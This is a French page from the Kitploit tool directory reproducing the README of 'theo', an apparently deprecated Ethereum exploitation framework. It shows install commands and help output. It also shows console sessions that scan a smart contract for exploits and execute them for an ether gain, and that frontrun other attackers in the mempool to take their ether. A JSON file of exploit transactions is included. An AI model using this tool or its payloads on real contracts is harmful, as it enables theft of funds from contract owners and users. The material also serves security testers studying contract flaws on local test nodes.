Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
theo — Outil de reconnaissance et d'exploitation Ethereum. | Kitploit
Outils/GitHubGitHub/cleanunicorn/theo
Frameworks de Tests d'IntrusionReconnaissanceFrameworks d'ExploitationAnalyse des Vulnérabilités
GitHubcleanunicorn/theo

theo

Outil de reconnaissance et d'exploitation Ethereum.

Voir le dépôt
348932il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Theo

Obsolète, plus maintenu, ne l'installez pas, ne l'utilisez pas, vous êtes prévenu !

License CircleCI Codacy Badge PyPI Code style: black

Theo se veut un framework d'exploitation et un outil de reconnaissance et d'interaction blockchain.

Fonctionnalités :

  • Analyse automatique des contrats intelligents qui génère une liste d'exploits possibles.
  • Envoi de transactions pour exploiter un contrat intelligent.
  • Surveillance du pool de transactions.
  • Console Web3
  • Transactions de frontrunning et backrunning.
  • Attente d'une liste de transactions et envoi d'autres transactions.
  • L'estimation du gaz pour les transactions garantit que seules les transactions réussies sont envoyées.
  • Désactiver l'estimation du gaz enverra des transactions avec une quantité de gaz fixe.

Il connaît Karl du travail.

Le but de Theo est de lutter contre les script kiddies qui essaient d'être des hackers leet. Il peut les écouter essayer d'exploiter ses honeypots et leur faire perdre leurs fonds, pour son propre profit.

« Tu ne m'as pas emmené pour ma personnalité charmante. »

Installation

Theo est disponible en tant que package PyPI :

root@kitploit:~
$ pip install theo
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
            [--account-pk ACCOUNT_PK] [--contract ADDRESS]
            [--skip-mythril SKIP_MYTHRIL] [--load-file LOAD_FILE] [--version]

Monitor contracts for balance changes or tx pool.

optional arguments:
  -h, --help            show this help message and exit
  --rpc-http RPC_HTTP   Connect to this HTTP RPC (default:
                        http://127.0.0.1:8545)
  --account-pk ACCOUNT_PK
                        The account's private key (default: None)
  --contract ADDRESS    Contract to monitor (default: None)
  --skip-mythril SKIP_MYTHRIL
                        Don't try to find exploits with Mythril (default:
                        False)
  --load-file LOAD_FILE
                        Load exploit from file (default: )
  --version             show program's version number and exit

RPC connections:
  --rpc-ws RPC_WS       Connect to this WebSockets RPC (default: None)
  --rpc-ipc RPC_IPC     Connect to this IPC RPC (default: None)

Installation à partir des sources

root@kitploit:~
$ git clone https://github.com/cleanunicorn/theo
$ cd theo
$ virtualenv ./venv
$ . ./venv/bin/activate
$ pip install -r requirements.txt
$ pip install -e .
$ theo --help

Prérequis :

  • Python 3.5 ou supérieur.
  • Un nœud Ethereum avec RPC disponible. Ganache fonctionne très bien pour les tests ou pour valider les exploits.

Démonstrations

Trouver un exploit et l'exécuter

Analysez un contrat intelligent, trouvez des exploits, exploitez-le :

  • Démarrez Ganache comme nœud Ethereum local
  • Déployez le contrat vulnérable (dans une autre fenêtre)
  • Analysez les exploits
  • Exécutez l'exploit

asciicast

Frontrun d'une victime

Configurez un honeypot, déployez-le, attendez l'attaquant, frontrun :

  • Démarrez geth comme nœud Ethereum local
  • Commencez le minage
  • Déployez le honeypot
  • Démarrez Theo et analysez le mem pool pour les transactions
  • Frontrun l'attaquant et volez son ether

asciicast

Utilisation

Écran d'aide

C'est une bonne idée de consulter d'abord l'écran d'aide.

root@kitploit:~
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
            [--account-pk ACCOUNT_PK] [--contract ADDRESS] [--skip-mythril]
            [--load-file LOAD_FILE] [--version]

Monitor contracts for balance changes or tx pool.

optional arguments:
  -h, --help            show this help message and exit
  --rpc-http RPC_HTTP   Connect to this HTTP RPC (default:
                        http://127.0.0.1:8545)
  --account-pk ACCOUNT_PK
                        The account's private key (default: None)
  --contract ADDRESS    Contract to interact with (default: None)
  --skip-mythril        Skip scanning the contract with Mythril (default:
                        False)
  --load-file LOAD_FILE
                        Load exploit from file (default: )
  --version             show program's version number and exit

RPC connections:
  --rpc-ws RPC_WS       Connect to this WebSockets RPC (default: None)
  --rpc-ipc RPC_IPC     Connect to this IPC RPC (default: None)

Exécution symbolique

Une liste d'exploits est automatiquement identifiée en utilisant mythril.

Démarrez une session en exécutant :

root@kitploit:~
$ theo --contract=<scanned contract> --account-pk=<your private key>
Scanning for exploits in contract: 0xa586074fa4fe3e546a132a16238abe37951d41fe
Connecting to HTTP: http://127.0.0.1:8545.
Found exploits(s):
 [Exploit: (txs=[Transaction {Data: 0xcf7a8965, Value: 1000000000000000000}])]

A few objects are available in the console:
- `exploits` is an array of loaded exploits found by Mythril or read from a file
- `w3` an initialized instance of web3py for the provided HTTP RPC endpoint

Check the readme for more info:
https://github.com/cleanunicorn/theo

>>> 

Il analysera le contrat et trouvera une liste d'exploits disponibles.

Vous pouvez voir les exploits disponibles trouvés. Dans ce cas, un exploit a été trouvé. Chaque exploit est un objet Exploit.

root@kitploit:~
>>> exploits[0]
Exploit: (txs=[Transaction: {'input': '0xcf7a8965', 'value': '0xde0b6b3a7640000'}])

Exécuter des exploits

Les étapes de l'exploit peuvent être exécutées en appelant .execute() sur l'objet exploit. Les transactions seront signées et envoyées au nœud auquel vous êtes connecté.

root@kitploit:~
>>> exploits[0].execute()
2019-07-22 11:26:12,196 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': 1, 'gas': 30521, 'value': 1000000000000000000, 'data': '0xcf7a8965', 'nonce': 47} 
2019-07-22 11:26:12,200 - Waiting for 0x41b489c78f654cab0b0451fc573010ddb20ee6437cdbf5098b6b03ee1936c33c to be mined... 
2019-07-22 11:26:16,337 - Mined 
2019-07-22 11:26:16,341 - Initial balance:      1155999450759997797167 (1156.00 ether) 
2019-07-22 11:26:16,342 - Final balance:        1156999450759997768901 (1157.00 ether) 

Frontrunning

Vous pouvez démarrer le moniteur de frontrunning pour écouter les autres hackers qui tentent d'exploiter le honeypot.

Utilisez .frontrun() pour commencer à écouter l'exploit et, lorsqu'il est trouvé, envoyez une transaction avec un prix du gaz plus élevé.

root@kitploit:~
>>> exploits[0].frontrun()
2019-07-22 11:22:26,285 - Scanning the mem pool for transactions... 
2019-07-22 11:22:45,369 - Found tx: 0xf6041abe6e547cea93e80a451fdf53e6bdae67820244246fde44098f91ce1c20 
2019-07-22 11:22:45,375 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': '0x2', 'data': '0xcf7a8965', 'gas': 30522, 'value': 1000000000000000000, 'nonce': 45} 
2019-07-22 11:22:45,380 - Waiting for 0xa73316daf806e7eef83d09e467c32ce5faa239c6eda3a270a8ce7a7aae48fb7e to be mined... 
2019-07-22 11:22:56,852 - Mined 

« Oh mon Dieu ! Le quarterback est grillé ! »

Cela fonctionne très bien pour certains contrats spécialement conçus ou d'autres contrats vulnérables, à condition de vous assurer que le frontrunning est en votre faveur.

Charger des transactions depuis un fichier

Au lieu d'identifier les exploits avec mythril, vous pouvez spécifier vous-même la liste des exploits.

Créez un fichier qui ressemble à ceci exploits.json :

root@kitploit:~
[
    [
        {
            "name": "claimOwnership()",
            "input": "0x4e71e0c8",
            "value": "0xde0b6b3a7640000"
        },
        {
            "name": "retrieve()",
            "input": "0x2e64cec1",
            "value": "0x0"
        }
    ],
    [
        {
            "name": "claimOwnership()",
            "input": "0x4e71e0c8",
            "value": "0xde0b6b3a7640000"
        }
    ]
]

Celui-ci définit 2 exploits, le premier a 2 transactions et le second n'en a qu'une seule.

Vous pouvez le charger avec :

root@kitploit:~
$ theo --load-file=./exploits.json

Dépannage

openssl/aes.h : fichier ou répertoire introuvable

Si vous obtenez cette erreur, vous avez besoin des bibliothèques sources libssl :

root@kitploit:~
    scrypt-1.2.1/libcperciva/crypto/crypto_aes.c:6:10: fatal error: openssl/aes.h: No such file or directory
     #include <openssl/aes.h>
              ^~~~~~~~~~~~~~~
    compilation terminated.
    error: command 'x86_64-linux-gnu-gcc' failed with exit status 1
    
    ----------------------------------------
Command "/usr/bin/python3 -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-5rl4ep94/scrypt/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-mnbzx9qe-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-5rl4ep94/scrypt/

Sur Ubuntu, vous pouvez les installer avec :

root@kitploit:~
$ sudo apt install libssl-dev
Télécharger l’outil